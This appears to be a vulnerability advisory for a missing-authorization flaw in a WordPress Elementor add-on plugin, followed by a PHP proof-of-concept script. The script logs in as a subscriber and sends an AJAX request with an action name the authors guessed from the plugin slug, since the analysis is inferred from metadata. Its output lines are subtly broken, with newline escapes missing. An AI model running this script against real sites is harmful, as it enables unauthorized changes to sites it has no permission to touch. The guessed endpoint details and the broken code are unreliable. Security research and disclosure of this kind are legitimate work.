Atomic Edge analysis of CVE-2026-25416 (metadata-based):
This vulnerability is a Missing Authorization flaw in the News Kit Addons For Elementor WordPress plugin, affecting versions up to and including 1.4.2. The vulnerability allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized action due to a missing capability check on a specific function.
Atomic Edge research infers the root cause is a WordPress AJAX or admin-post hook that lacks a proper authorization check. The CWE-862 classification confirms the plugin fails to verify a user’s capability before executing a privileged function. Without code access, this conclusion is based on the vulnerability description and the common WordPress pattern where plugin developers register AJAX handlers using `add_action(‘wp_ajax_*’)` without accompanying `current_user_can()` checks. The missing check likely occurs in a function that performs a site modification or data access action.
The exploitation method requires an attacker to possess a valid WordPress subscriber account. The attacker would send a crafted HTTP POST request to the WordPress AJAX handler endpoint (`/wp-admin/admin-ajax.php`). The request must include the specific `action` parameter that triggers the vulnerable function. Based on the plugin slug, the action name likely follows a pattern such as `news_kit_elementor_addons_*` or `nkea_*`. The payload would contain any required parameters for the unauthorized action, which could involve object creation, deletion, or settings modification.
Remediation requires adding a proper capability check to the vulnerable function. The plugin developers must modify the function to call `current_user_can()` with an appropriate capability, such as `manage_options` or a custom capability, before executing any privileged logic. They should also consider implementing a nonce check for additional CSRF protection, though the core issue is the missing authorization. The fix should be applied to all administrative AJAX handlers and REST API endpoints within the plugin.
The impact of successful exploitation is limited integrity violation (CVSS I:L). An attacker with subscriber access could perform an unauthorized action, such as modifying plugin settings, deleting custom content, or manipulating widget configurations. This could disrupt site functionality or alter frontend presentation. The vulnerability does not enable direct confidentiality loss or full privilege escalation to administrator, but it allows low-privilege users to perform actions reserved for higher roles.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25416 - News Kit Addons For Elementor <= 1.4.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25416.
* This script demonstrates unauthorized action execution via a missing capability check.
* ASSUMPTIONS: The vulnerable endpoint is a WordPress AJAX handler. The exact action name is inferred from the plugin slug.
* A valid subscriber-level WordPress account is required (credentials set below).
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
// Infer the likely AJAX action name from the plugin slug.
// Common patterns: 'news_kit_elementor_addons_{action}' or 'nkea_{action}'.
// Since the exact action is unknown, we test a plausible candidate.
$inferred_action = 'news_kit_elementor_addons_save_settings';
// Step 1: Authenticate to WordPress to obtain cookies.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
// Step 2: Send the unauthorized AJAX request to the inferred vulnerable endpoint.
$post_data = [
'action' => $inferred_action,
'some_parameter' => 'malicious_value' // Example parameter; actual parameter names are unknown.
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_REFERER => $target_url // Set referer to mimic legitimate AJAX request.
]);
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output results.
echo "Target: $target_urln";
echo "Inferred AJAX Action: $inferred_actionn";
echo "HTTP Response Code: $http_coden";
echo "Response Body (first 500 chars): " . substr($ajax_response, 0, 500) . "n";
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
